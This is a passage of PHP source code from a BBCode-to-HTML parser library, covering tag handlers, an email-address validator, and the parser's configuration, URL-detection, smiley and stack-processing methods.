$email = is_string($default) ? $default : $bbcode->UnHTMLEncode(strip_tags($content));
if ($bbcode->IsValidEmail($email))
return '<a href="mailto:' . htmlspecialchars($email) . '" class="bbcode_email">' . $content . '</a>';
else return htmlspecialchars($params['_tag']) . $content . htmlspecialchars($params['_endtag']);
}
function DoSize($bbcode, $action, $name, $default, $params, $content) {
switch ($default) {
case '0': $size = '.5em'; break;
case '1': $size = '.67em'; break;
case '2': $size = '.83em'; break;
default:
case '3': $size = '1.0em'; break;
case '4': $size = '1.17em'; break;
case '5': $size = '1.5em'; break;
case '6': $size = '2.0em'; break;
case '7': $size = '2.5em'; break;
}
return "<span style=\"font-size:$size\">$content</span>";
}
function DoFont($bbcode, $action, $name, $default, $params, $content) {
$fonts = explode(",", $default);
$result = "";
$special_fonts = Array(
'serif' => 'serif',
'sans-serif' => 'sans-serif',
'sans serif' => 'sans-serif',
'sansserif' => 'sans-serif',
'sans' => 'sans-serif',
'cursive' => 'cursive',
'fantasy' => 'fantasy',
'monospace' => 'monospace',
'mono' => 'monospace',
);
foreach ($fonts as $font) {
$font = trim($font);
if (isset($special_fonts[$font])) {
if (strlen($result) > 0) $result .= ",";
$result .= $special_fonts[$font];
}
else if (strlen($font) > 0) {
if (strlen($result) > 0) $result .= ",";
$result .= "'$font'";
}
}
return "<span style=\"font-family:$result\">$content</span>";
}
function DoWiki($bbcode, $action, $name, $default, $params, $content) {
$name = $bbcode->Wikify($default);
if ($action == BBCODE_CHECK)
return strlen($name) > 0;
$title = trim(@$params['title']);
if (strlen($title) <= 0) $title = trim($default);
return "<a href=\"{$bbcode->wiki_url}$name\" class=\"bbcode_wiki\">"
. htmlspecialchars($title) . "</a>";
}
function DoImage($bbcode, $action, $name, $default, $params, $content) {
if ($action == BBCODE_CHECK) return true;
$content = trim($bbcode->UnHTMLEncode(strip_tags($content)));
if (preg_match("/\\.(?:gif|jpeg|jpg|jpe|png)$/", $content)) {
if (preg_match("/^[a-zA-Z0-9_][^:]+$/", $content)) {
if (!preg_match("/(?:\\/\\.\\.\\/)|(?:^\\.\\.\\/)|(?:^\\/)/", $content)) {
$info = @getimagesize("{$bbcode->local_img_dir}/{$content}");
if ($info[2] == IMAGETYPE_GIF || $info[2] == IMAGETYPE_JPEG || $info[2] == IMAGETYPE_PNG) {
return "<img src=\""
. htmlspecialchars("{$bbcode->local_img_url}/{$content}") . "\" alt=\""
. htmlspecialchars(basename($content)) . "\" width=\""
. htmlspecialchars($info[0]) . "\" height=\""
. htmlspecialchars($info[1]) . "\" class=\"bbcode_img\" />";
}
}
}
else if ($bbcode->IsValidURL($content, false)) {
return "<img src=\"" . htmlspecialchars($content) . "\" alt=\""
. htmlspecialchars(basename($content)) . "\" class=\"bbcode_img\" />";
}
}
return htmlspecialchars($params['_tag']) . htmlspecialchars($content) . htmlspecialchars($params['_endtag']);
}
function DoRule($bbcode, $action, $name, $default, $params, $content) {
if ($action == BBCODE_CHECK) return true;
else return $bbcode->rule_html;
}
function DoQuote($bbcode, $action, $name, $default, $params, $content) {
if ($action == BBCODE_CHECK) return true;
if (isset($params['name'])) {
$title = htmlspecialchars(trim($params['name'])) . " wrote";
if (isset($params['date']))
$title .= " on " . htmlspecialchars(trim($params['date']));
$title .= ":";
if (isset($params['url'])) {
$url = trim($params['url']);
if ($bbcode->IsValidURL($url))
$title = "<a href=\"" . htmlspecialchars($params['url']) . "\">" . $title . "</a>";
}
}
else if (!is_string($default))
$title = "Quote:";
else $title = htmlspecialchars(trim($default)) . " wrote:";
return "\n<div class=\"bbcode_quote\">\n<div class=\"bbcode_quote_head\">"
. $title . "</div>\n<div class=\"bbcode_quote_body\">"
. $content . "</div>\n</div>\n";
}
function DoList($bbcode, $action, $name, $default, $params, $content) {
$list_styles = Array(
'1' => 'decimal',
'01' => 'decimal-leading-zero',
'i' => 'lower-roman',
'I' => 'upper-roman',
'a' => 'lower-alpha',
'A' => 'upper-alpha',
);
$ci_list_styles = Array(
'circle' => 'circle',
'disc' => 'disc',
'square' => 'square',
'greek' => 'lower-greek',
'armenian' => 'armenian',
'georgian' => 'georgian',
);
$ul_types = Array(
'circle' => 'circle',
'disc' => 'disc',
'square' => 'square',
);
$default = trim($default);
if ($action == BBCODE_CHECK) {
if (!is_string($default) || strlen($default) == "") return true;
else if (isset($list_styles[$default])) return true;
else if (isset($ci_list_styles[strtolower($default)])) return true;
else return false;
}
if (!is_string($default) || strlen($default) == "") {
$elem = 'ul';
$type = '';
}
else if ($default == '1') {
$elem = 'ol';
$type = '';
}
else if (isset($list_styles[$default])) {
$elem = 'ol';
$type = $list_styles[$default];
}
else {
$default = strtolower($default);
if (isset($ul_types[$default])) {
$elem = 'ul';
$type = $ul_types[$default];
}
else if (isset($ci_list_styles[$default])) {
$elem = 'ol';
$type = $ci_list_styles[$default];
}
}
if (strlen($type))
return "\n<$elem class=\"bbcode_list\" style=\"list-style-type:$type\">\n$content</$elem>\n";
else return "\n<$elem class=\"bbcode_list\">\n$content</$elem>\n";
}
}

class BBCodeEmailAddressValidator {
function check_email_address($strEmailAddress) {
if (preg_match('/[\x00-\x1F\x7F-\xFF]/', $strEmailAddress)) {
return false;
}
$intAtSymbol = strrpos($strEmailAddress, '@');
if ($intAtSymbol === false) {
return false;
}
$arrEmailAddress[0] = substr($strEmailAddress, 0, $intAtSymbol);
$arrEmailAddress[1] = substr($strEmailAddress, $intAtSymbol + 1);
$arrTempAddress[0] = preg_replace('/"[^"]+"/'
,''
,$arrEmailAddress[0]);
$arrTempAddress[1] = $arrEmailAddress[1];
$strTempAddress = $arrTempAddress[0] . $arrTempAddress[1];
if (strrpos($strTempAddress, '@') !== false) {
return false;
}
if (!$this->check_local_portion($arrEmailAddress[0])) {
return false;
}
if (!$this->check_domain_portion($arrEmailAddress[1])) {
return false;
}
return true;
}
function check_local_portion($strLocalPortion) {
if (!$this->check_text_length($strLocalPortion, 1, 64)) {
return false;
}
$arrLocalPortion = explode('.', $strLocalPortion);
for ($i = 0, $max = sizeof($arrLocalPortion); $i < $max; $i++) {
if (!preg_match('.^('
. '([A-Za-z0-9!#$%&\'*+/=?^_`{|}~-]'
. '[A-Za-z0-9!#$%&\'*+/=?^_`{|}~-]{0,63})'
.'|'
. '("[^\\\"]{0,62}")'
.')$.'
,$arrLocalPortion[$i])) {
return false;
}
}
return true;
}
function check_domain_portion($strDomainPortion) {
if (!$this->check_text_length($strDomainPortion, 1, 255)) {
return false;
}
if (preg_match('/^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])'
.'(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])){3}$/'
,$strDomainPortion) ||
preg_match('/^\[(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])'
.'(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])){3}\]$/'
,$strDomainPortion)) {
return true;
} else {
$arrDomainPortion = explode('.', $strDomainPortion);
if (sizeof($arrDomainPortion) < 2) {
return false;
}
for ($i = 0, $max = sizeof($arrDomainPortion); $i < $max; $i++) {
if (!$this->check_text_length($arrDomainPortion[$i], 1, 63)) {
return false;
}
if (!preg_match('/^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|'
.'([A-Za-z0-9]+))$/', $arrDomainPortion[$i])) {
return false;
}
}
}
return true;
}
function check_text_length($strText, $intMinimum, $intMaximum) {
$intTextLength = strlen($strText);
if (($intTextLength < $intMinimum) || ($intTextLength > $intMaximum)) {
return false;
} else {
return true;
}
}
}

class BBCode {
var $tag_rules;
var $defaults;
var $current_class;
var $root_class;
var $lost_start_tags;
var $start_tags;
var $allow_ampersand;
var $tag_marker;
var $ignore_newlines;
var $plain_mode;
var $detect_urls;
var $url_pattern;
var $output_limit;
var $text_length;
var $was_limited;
var $limit_tail;
var $limit_precision;
var $smiley_dir;
var $smiley_url;
var $smileys;
var $smiley_regex;
var $enable_smileys;
var $wiki_url;
var $local_img_dir;
var $local_img_url;
var $url_targetable;
var $url_target;
var $rule_html;
var $pre_trim;
var $post_trim;
var $debug;


/* ADDED */
// singleton instance
private static $instance;

// private constructor function
// to prevent external instantiation
private function __construct()
{
	$this->defaults = new BBCodeLibrary;
	$this->tag_rules = $this->defaults->default_tag_rules;
	$this->smileys = $this->defaults->default_smileys;
	$this->enable_smileys = true;
	$this->smiley_regex = false;
	$this->smiley_dir = $this->GetDefaultSmileyDir();
	$this->smiley_url = $this->GetDefaultSmileyURL();
	$this->wiki_url = $this->GetDefaultWikiURL();
	$this->local_img_dir = $this->GetDefaultLocalImgDir();
	$this->local_img_url = $this->GetDefaultLocalImgURL();
	$this->rule_html = $this->GetDefaultRuleHTML();
	$this->pre_trim = "";
	$this->post_trim = "";
	$this->root_class = 'block';
	$this->lost_start_tags = Array();
	$this->start_tags = Array();
	$this->tag_marker = '[';
	$this->allow_ampsersand = false;
	$this->current_class = $this->root_class;
	$this->debug = false;
	$this->ignore_newlines = false;
	$this->output_limit = 0;
	$this->plain_mode = false;
	$this->was_limited = false;
	$this->limit_tail = "...";
	$this->limit_precision = 0.15;
	$this->detect_urls = false;
	$this->url_pattern = '<a href="{$url/h}">{$text/h}</a>';
	$this->url_targetable = false;
	$this->url_target = false;
}

// getInstance method
public static function getInstance()
{
    if(!self::$instance)
    {
      self::$instance = new self();
    }

    return self::$instance;
}
/* ADDED */


function SetPreTrim($trim = "a") { $this->pre_trim = $trim; }
function GetPreTrim() { return $this->pre_trim; }
function SetPostTrim($trim = "a") { $this->post_trim = $trim; }
function GetPostTrim() { return $this->post_trim; }
function SetRoot($class = 'block') { $this->root_class = $class; }
function SetRootInline() { $this->root_class = 'inline'; }
function SetRootBlock() { $this->root_class = 'block'; }
function GetRoot() { return $this->root_class; }
function SetDebug($enable = true) { $this->debug = $enable; }
function GetDebug() { return $this->debug; }
function SetAllowAmpersand($enable = true) { $this->allow_ampersand = $enable; }
function GetAllowAmpersand() { return $this->allow_ampersand; }
function SetTagMarker($marker = '[') { $this->tag_marker = $marker; }
function GetTagMarker() { return $this->tag_marker; }
function SetIgnoreNewlines($ignore = true) { $this->ignore_newlines = $ignore; }
function GetIgnoreNewlines() { return $this->ignore_newlines; }
function SetLimit($limit = 0) { $this->output_limit = $limit; }
function GetLimit() { return $this->output_limit; }
function SetLimitTail($tail = "...") { $this->limit_tail = $tail; }
function GetLimitTail() { return $this->limit_tail; }
function SetLimitPrecision($prec = 0.15) { $this->limit_precision = $prec; }
function GetLimitPrecision() { return $this->limit_precision; }
function WasLimited() { return $this->was_limited; }
function SetPlainMode($enable = true) { $this->plain_mode = $enable; }
function GetPlainMode() { return $this->plain_mode; }
function SetDetectURLs($enable = true) { $this->detect_urls = $enable; }
function GetDetectURLs() { return $this->detect_urls; }
function SetURLPattern($pattern) { $this->url_pattern = $pattern; }
function GetURLPattern() { return $this->url_pattern; }
function SetURLTargetable($enable) { $this->url_targetable = $enable; }
function GetURLTargetable() { return $this->url_targetable; }
function SetURLTarget($target) { $this->url_target = $target; }
function GetURLTarget() { return $this->url_target; }
function AddRule($name, $rule) { $this->tag_rules[$name] = $rule; }
function RemoveRule($name) { unset($this->tag_rules[$name]); }
function GetRule($name) { return isset($this->tag_rules[$name])
? $this->tag_rules[$name] : false; }
function ClearRules() { $this->tag_rules = Array(); }
function GetDefaultRule($name) { return isset($this->defaults->default_tag_rules[$name])
? $this->defaults->default_tag_rules[$name] : false; }
function SetDefaultRule($name) { if (isset($this->defaults->default_tag_rules[$name]))
$this->AddRule($name, $this->defaults->default_tag_rules[$name]);
else $this->RemoveRule($name); }
function GetDefaultRules() { return $this->defaults->default_tag_rules; }
function SetDefaultRules() { $this->tag_rules = $this->defaults->default_tag_rules; }
function SetWikiURL($url) { $this->wiki_url = $url; }
function GetWikiURL($url) { return $this->wiki_url; }
function GetDefaultWikiURL() { return '/?page='; }
function SetLocalImgDir($path) { $this->local_img_dir = $path; }
function GetLocalImgDir() { return $this->local_img_dir; }
function GetDefaultLocalImgDir() { return "img"; }
function SetLocalImgURL($path) { $this->local_img_url = $path; }
function GetLocalImgURL() { return $this->local_img_url; }
function GetDefaultLocalImgURL() { return "img"; }
function SetRuleHTML($html) { $this->rule_html = $html; }
function GetRuleHTML() { return $this->rule_html; }
function GetDefaultRuleHTML() { return "\n<hr class=\"bbcode_rule\" />\n"; }
function AddSmiley($code, $image) { $this->smileys[$code] = $image; $this->smiley_regex = false; }
function RemoveSmiley($code) { unset($this->smileys[$code]); $this->smiley_regex = false; }
function GetSmiley($code) { return isset($this->smileys[$code])
? $this->smileys[$code] : false; }
function ClearSmileys() { $this->smileys = Array(); $this->smiley_regex = false; }
function GetDefaultSmiley($code) { return isset($this->defaults->default_smileys[$code])
? $this->defaults->default_smileys[$code] : false; }
function SetDefaultSmiley($code) { $this->smileys[$code] = @$this->defaults->default_smileys[$code];
$this->smiley_regex = false; }
function GetDefaultSmileys() { return $this->defaults->default_smileys; }
function SetDefaultSmileys() { $this->smileys = $this->defaults->default_smileys;
$this->smiley_regex = false; }
function SetSmileyDir($path) { $this->smiley_dir = $path; }
function GetSmileyDir() { return $this->smiley_dir; }
function GetDefaultSmileyDir() { return "smileys"; }
function SetSmileyURL($path) { $this->smiley_url = $path; }
function GetSmileyURL() { return $this->smiley_url; }
function GetDefaultSmileyURL() { return "smileys"; }
function SetEnableSmileys($enable = true) { $this->enable_smileys = $enable; }
function GetEnableSmileys() { return $this->enable_smileys; }
function nl2br($string) {
return preg_replace("/\\x0A|\\x0D|\\x0A\\x0D|\\x0D\\x0A/", "<br />\n", $string);
}
function UnHTMLEncode($string) {
if (function_exists("html_entity_decode"))
return html_entity_decode($string);
$string = preg_replace_callback('~&#x([0-9a-f]+);~i', array( $this, '_UnHTMLEncode_chr_callback'), $string);
$string = preg_replace_callback('~&#([0-9]+);~', array($this, '_UnHTMLEncode_chr_hexdec_callback'), $string);
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
return strtr($string, $trans_tbl);
}
function _UnHTMLEncode_chr_callback($match) {
return chr(hexdec($match[1]));
}
function _UnHTMLEncode_chr_hexdec_callback($match) {
return chr(hexdec($match[1]));
}
function Wikify($string) {
return rawurlencode(str_replace(" ", "_",
trim(preg_replace("/[!?;@#\$%\\^&*<>=+`~\\x00-\\x20_-]+/", " ", $string))));
}
function IsValidURL($string, $email_too = true) {
if (preg_match("/^
(?:https?|ftp):\\/\\/
(?:
(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\\.)+
[a-zA-Z0-9]
(?:[a-zA-Z0-9-]*[a-zA-Z0-9])?
|
\\[
(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}
(?:
25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-zA-Z0-9-]*[a-zA-Z0-9]:
(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21-\\x5A\\x53-\\x7F]
|\\\\[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F])+
)
\\]
)
(?::[0-9]{1,5})?
(?:[\\/\\?\\#][^\\n\\r]*)?
$/Dx", $string)) return true;
if (preg_match("/^[^:]+([\\/\\\\?#][^\\r\\n]*)?$/D", $string))
return true;
if ($email_too)
if (substr($string, 0, 7) == "mailto:")
return $this->IsValidEmail(substr($string, 7));
return false;
}
function IsValidEmail($string) {
$validator = new BBCodeEmailAddressValidator;
return $validator->check_email_address($string);
/*
return preg_match("/^
(?:
[a-z0-9\\!\\#\\\$\\%\\&\\'\\*\\+\\/=\\?\\^_`\\{\\|\\}~-]+
(?:\.[a-z0-9\\!\\#\\\$\\%\\&\\'\\*\\+\\/=\\?\\^_`\\{\\|\\}~-]+)*
|
\"(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]
|\\\\[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F])*\"
)
@
(?:
(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+
[a-z0-9]
(?:[a-z0-9-]*[a-z0-9])?
|
\\[
(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}
(?:
25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:
(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21-\\x5A\\x53-\\x7F]
|\\\\[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F])+
)
\\]
)
$/Dx", $string);
*/
}
function HTMLEncode($string) {
if (!$this->allow_ampersand)
return htmlspecialchars($string);
else return str_replace(Array('<', '>', '"'),
Array('&lt;', '&gt;', '&quot;'), $string);
}
function FixupOutput($string) {
if (!$this->detect_urls) {
$output = $this->Internal_ProcessSmileys($string);
}
else {
$chunks = $this->Internal_AutoDetectURLs($string);
$output = Array();
if (count($chunks)) {
$is_a_url = false;
foreach ($chunks as $index => $chunk) {
if (!$is_a_url) {
$chunk = $this->Internal_ProcessSmileys($chunk);
}
$output[] = $chunk;
$is_a_url = !$is_a_url;
}
}
$output = implode("", $output);
}
return $output;
}
function Internal_ProcessSmileys($string) {
if (!$this->enable_smileys || $this->plain_mode) {
$output = $this->HTMLEncode($string);
}
else {
if ($this->smiley_regex === false) {
$this->Internal_RebuildSmileys();
}
$tokens = preg_split($this->smiley_regex, $string, -1, PREG_SPLIT_DELIM_CAPTURE);
if (count($tokens) <= 1) {
$output = $this->HTMLEncode($string);
}
else {
$output = "";
$is_a_smiley = false;
foreach ($tokens as $token) {
if (!$is_a_smiley) {
$output .= $this->HTMLEncode($token);
}
else {
if (isset($this->smiley_info[$token])) {
$info = $this->smiley_info[$token];
}
else {
$info = @getimagesize($this->smiley_dir . '/' . $this->smileys[$token]);
$this->smiley_info[$token] = $info;
}
$alt = htmlspecialchars($token);
$output .= "<img src=\"" . htmlspecialchars($this->smiley_url . '/' . $this->smileys[$token])
. "\" width=\"{$info[0]}\" height=\"{$info[1]}\""
. " alt=\"$alt\" title=\"$alt\" class=\"bbcode_smiley\" />";
}
$is_a_smiley = !$is_a_smiley;
}
}
}
return $output;
}
function Internal_RebuildSmileys() {
$regex = Array("/(?<![\\w])(");
$first = true;
foreach ($this->smileys as $code => $filename) {
if (!$first) $regex[] = "|";
$regex[] = preg_quote("$code", '/');
$first = false;
}
$regex[] = ")(?![\\w])/";
$this->smiley_regex = implode("", $regex);
}
function Internal_AutoDetectURLs($string) {
$output = preg_split("/( (?:
(?:https?|ftp) : \\/*
(?:
(?: (?: [a-zA-Z0-9-]{2,} \\. )+
(?: arpa | com | org | net | edu | gov | mil | int | [a-z]{2}
| aero | biz | coop | info | museum | name | pro
| example | invalid | localhost | test | local | onion | swift ) )
| (?: [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} )
| (?: [0-9A-Fa-f:]+ : [0-9A-Fa-f]{1,4} )
)
(?: : [0-9]+ )?
(?! [a-zA-Z0-9.:-] )
(?:
\\/
[^&?#\\(\\)\\[\\]\\{\\}<>\\'\\\"\\x00-\\x20\\x7F-\\xFF]*
)?
(?:
[?#]
[^\\(\\)\\[\\]\\{\\}<>\\'\\\"\\x00-\\x20\\x7F-\\xFF]+
)?
) | (?:
(?:
(?: (?: [a-zA-Z0-9-]{2,} \\. )+
(?: arpa | com | org | net | edu | gov | mil | int | [a-z]{2}
| aero | biz | coop | info | museum | name | pro
| example | invalid | localhost | test | local | onion | swift ) )
| (?: [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} )
)
(?: : [0-9]+ )?
(?! [a-zA-Z0-9.:-] )
(?:
\\/
[^&?#\\(\\)\\[\\]\\{\\}<>\\'\\\"\\x00-\\x20\\x7F-\\xFF]*
)?
(?:
[?#]
[^\\(\\)\\[\\]\\{\\}<>\\'\\\"\\x00-\\x20\\x7F-\\xFF]+
)?
) | (?:
[a-zA-Z0-9._-]{2,} @
(?:
(?: (?: [a-zA-Z0-9-]{2,} \\. )+
(?: arpa | com | org | net | edu | gov | mil | int | [a-z]{2}
| aero | biz | coop | info | museum | name | pro
| example | invalid | localhost | test | local | onion | swift ) )
| (?: [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} \\. [0-9]{1,3} )
)
) )/Dx", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
if (count($output) > 1) {
$is_a_url = false;
foreach ($output as $index => $token) {
if ($is_a_url) {
if (preg_match("/^[a-zA-Z0-9._-]{2,}@/", $token)) {
$url = "mailto:" . $token;
}
else if (preg_match("/^(https?:|ftp:)\\/*([^\\/&?#]+)\\/*(.*)\$/", $token, $matches)) {
$url = $matches[1] . '/' . '/' . $matches[2] . "/" . $matches[3];
}
else {
preg_match("/^([^\\/&?#]+)\\/*(.*)\$/", $token, $matches);
$url = "http:/" . "/" . $matches[1] . "/" . $matches[2];
}
$params = @parse_url($url);
if (!is_array($params)) $params = Array();
$params['url'] = $url;
$params['link'] = $url;
$params['text'] = $token;
$output[$index] = $this->FillTemplate($this->url_pattern, $params);
}
$is_a_url = !$is_a_url;
}
}
return $output;
}
function FillTemplate($template, $insert_array, $default_array = Array()) {
$pieces = preg_split('/(\{\$[a-zA-Z0-9_.:\/-]+\})/', $template,
-1, PREG_SPLIT_DELIM_CAPTURE);
if (count($pieces) <= 1)
return $template;
$result = Array();
$is_an_insert = false;
foreach ($pieces as $piece) {
if (!$is_an_insert) {
$result[] = $piece;
}
else if (!preg_match('/\{\$([a-zA-Z0-9_:-]+)((?:\\.[a-zA-Z0-9_:-]+)*)(?:\/([a-zA-Z0-9_:-]+))?\}/', $piece, $matches)) {
$result[] = $piece;
}
else {
if (isset($insert_array[$matches[1]]))
$value = @$insert_array[$matches[1]];
else $value = @$default_array[$matches[1]];
if (strlen(@$matches[2])) {
foreach (explode(".", substr($matches[2], 1)) as $index) {
if (is_array($value))
$value = @$value[$index];
else if (is_object($value)) {
$value = (array)$value;
$value = @$value[$index];
}
else $value = "";
}
}
switch (gettype($value)) {
case 'boolean': $value = $value ? "true" : "false"; break;
case 'integer': $value = (string)$value; break;
case 'double': $value = (string)$value; break;
case 'string': break;
default: $value = ""; break;
}
if (strlen(@$matches[3]))
$flags = array_flip(str_split($matches[3]));
else $flags = Array();
if (!isset($flags['v'])) {
if (isset($flags['w']))
$value = preg_replace("/[\\x00-\\x09\\x0B-\x0C\x0E-\\x20]+/", " ", $value);
if (isset($flags['t'])) $value = trim($value);
if (isset($flags['b'])) $value = basename($value);
if (isset($flags['e'])) $value = $this->HTMLEncode($value);
else if (isset($flags['k'])) $value = $this->Wikify($value);
else if (isset($flags['h'])) $value = htmlspecialchars($value);
else if (isset($flags['u'])) $value = urlencode($value);
if (isset($flags['n'])) $value = $this->nl2br($value);
}
$result[] = $value;
}
$is_an_insert = !$is_an_insert;
}
return implode("", $result);
}
function Internal_CollectText($array, $start = 0) {
ob_start();
for ($start = intval($start), $end = count($array); $start < $end; $start++)
print $array[$start][BBCODE_STACK_TEXT];
$output = ob_get_contents();
ob_end_clean();
return $output;
}
function Internal_CollectTextReverse($array, $start = 0, $end = 0) {
ob_start();
for ($start = intval($start); $start >= $end; $start--)
print $array[$start][BBCODE_STACK_TEXT];
$output = ob_get_contents();
ob_end_clean();
return $output;
}
function Internal_GenerateOutput($pos) {
$output = Array();
while (count($this->stack) > $pos) {
$token = array_pop($this->stack);
if ($token[BBCODE_STACK_TOKEN] != BBCODE_TAG) {
$output[] = $token;
}
else {
$name = @$token[BBCODE_STACK_TAG]['_name'];
$rule = @$this->tag_rules[$name];
$end_tag = @$rule['end_tag'];
if (!isset($rule['end_tag'])) $end_tag = BBCODE_REQUIRED;
else $end_tag = $rule['end_tag'];
array_pop($this->start_tags[$name]);
if ($end_tag == BBCODE_PROHIBIT) {
$output[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TAG => false,
BBCODE_STACK_TEXT => $token[BBCODE_STACK_TEXT],
BBCODE_STACK_CLASS => $this->current_class,
);
}
else {
if ($end_tag == BBCODE_REQUIRED)
@$this->lost_start_tags[$name] += 1;
$end = $this->Internal_CleanupWSByIteratingPointer(@$rule['before_endtag'], 0, $output);
$this->Internal_CleanupWSByPoppingStack(@$rule['after_tag'], $output);
$tag_body = $this->Internal_CollectTextReverse($output, count($output)-1, $end);
$this->Internal_CleanupWSByPoppingStack(@$rule['before_tag'], $this->stack);
@$token[BBCODE_STACK_TAG]=@$this->Internal_UpdateParamsForMissingEndTag(@$token[BBCODE_STACK_TAG]);
$tag_output = $this->DoTag(BBCODE_OUTPUT, $name,
@$token[BBCODE_STACK_TAG]['_default'], @$token[BBCODE_STACK_TAG], $tag_body);
$output = Array(Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TAG => false,
BBCODE_STACK_TEXT => $tag_output,
BBCODE_STACK_CLASS => $this->current_class
));
}
}
}
$this->Internal_ComputeCurrentClass();
return $output;
}
function Internal_RewindToClass($class_list) {
$pos = count($this->stack) - 1;
while ($pos >= 0 && !in_array($this->stack[$pos][BBCODE_STACK_CLASS], $class_list))
$pos--;
if ($pos < 0) {
if (!in_array($this->root_class, $class_list))
return false;
}
$output = $this->Internal_GenerateOutput($pos+1);
while (count($output)) {
$token = array_pop($output);
$token[BBCODE_STACK_CLASS] = $this->current_class;
$this->stack[] = $token;
}
return true;
}
function Internal_FinishTag($tag_name) {
if (strlen($tag_name) <= 0)
return false;
if (isset($this->start_tags[$tag_name])
&& count($this->start_tags[$tag_name]))
$pos = array_pop($this->start_tags[$tag_name]);
else $pos = -1;
if ($pos < 0) return false;
$newpos = $this->Internal_CleanupWSByIteratingPointer(@$this->tag_rules[$tag_name]['after_tag'],
$pos+1, $this->stack);
$delta = $newpos - ($pos+1);
$output = $this->Internal_GenerateOutput($newpos);
$newend = $this->Internal_CleanupWSByIteratingPointer(@$this->tag_rules[$tag_name]['before_endtag'],
0, $output);
$output = $this->Internal_CollectTextReverse($output, count($output) - 1, $newend);
while ($delta-- > 0)
array_pop($this->stack);
$this->Internal_ComputeCurrentClass();
return $output;
}
function Internal_ComputeCurrentClass() {
if (count($this->stack) > 0)
$this->current_class = $this->stack[count($this->stack)-1][BBCODE_STACK_CLASS];
else $this->current_class = $this->root_class;
}
function Internal_DumpStack($array = false, $raw = false) {
if (!$raw) $string = "<span style='color: #00C;'>";
else $string = "";
if ($array === false)
$array = $this->stack;
foreach ($array as $item) {
switch (@$item[BBCODE_STACK_TOKEN]) {
case BBCODE_TEXT:
$string .= "\"" . htmlspecialchars(@$item[BBCODE_STACK_TEXT]) . "\" ";
break;
case BBCODE_WS:
$string .= "WS ";
break;
case BBCODE_NL:
$string .= "NL ";
break;
case BBCODE_TAG:
$string .= "[" . htmlspecialchars(@$item[BBCODE_STACK_TAG]['_name']) . "] ";
break;
default:
$string .= "unknown ";
break;
}
}
if (!$raw) $string .= "</span>";
return $string;
}
function Internal_CleanupWSByPoppingStack($pattern, &$array) {
if (strlen($pattern) <= 0) return;
$oldlen = count($array);
foreach (str_split($pattern) as $char) {
switch ($char) {
case 's':
while (count($array) > 0 && $array[count($array)-1][BBCODE_STACK_TOKEN] == BBCODE_WS)
array_pop($array);
break;
case 'n':
if (count($array) > 0 && $array[count($array)-1][BBCODE_STACK_TOKEN] == BBCODE_NL)
array_pop($array);
break;
case 'a':
while (count($array) > 0
&& (($token = $array[count($array)-1][BBCODE_STACK_TOKEN]) == BBCODE_WS
|| $token == BBCODE_NL))
array_pop($array);
break;
}
}
if (count($array) != $oldlen) {
$this->Internal_ComputeCurrentClass();
}
}
function Internal_CleanupWSByEatingInput($pattern) {
if (strlen($pattern) <= 0) return;
foreach (str_split($pattern) as $char) {
switch ($char) {
case 's':
$token_type = $this->lexer->NextToken();
while ($token_type == BBCODE_WS) {
$token_type = $this->lexer->NextToken();
}
$this->lexer->UngetToken();
break;
case 'n':
$token_type = $this->lexer->NextToken();
if ($token_type != BBCODE_NL)
$this->lexer->UngetToken();
break;
case 'a':
$token_type = $this->lexer->NextToken();
while ($token_type == BBCODE_WS || $token_type == BBCODE_NL) {
$token_type = $this->lexer->NextToken();
}
$this->lexer->UngetToken();
break;
}
}
}
function Internal_CleanupWSByIteratingPointer($pattern, $pos, $array) {
if (strlen($pattern) <= 0) return $pos;
foreach (str_split($pattern) as $char) {
switch ($char) {
case 's':
while ($pos < count($array) && $array[$pos][BBCODE_STACK_TOKEN] == BBCODE_WS)
$pos++;
break;
case 'n':
if ($pos < count($array) && $array[$pos][BBCODE_STACK_TOKEN] == BBCODE_NL)
$pos++;
break;
case 'a':
while ($pos < count($array)
&& (($token = $array[$pos][BBCODE_STACK_TOKEN]) == BBCODE_WS || $token == BBCODE_NL))
$pos++;
break;
}
}
return $pos;
}
function Internal_LimitText($string, $limit) {
$chunks = preg_split("/([\\x00-\\x20]+)/", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
$output = "";
foreach ($chunks as $chunk) {
if (strlen($output) + strlen($chunk) > $limit)
break;
$output .= $chunk;
}
$output = rtrim($output);
return $output;
}
function Internal_DoLimit() {
$this->Internal_CleanupWSByPoppingStack("a", $this->stack);
if (strlen($this->limit_tail) > 0) {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->limit_tail,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
$this->was_limited = true;
}
function DoTag($action, $tag_name, $default_value, $params, $contents) {
$tag_rule = @$this->tag_rules[$tag_name];
switch ($action) {
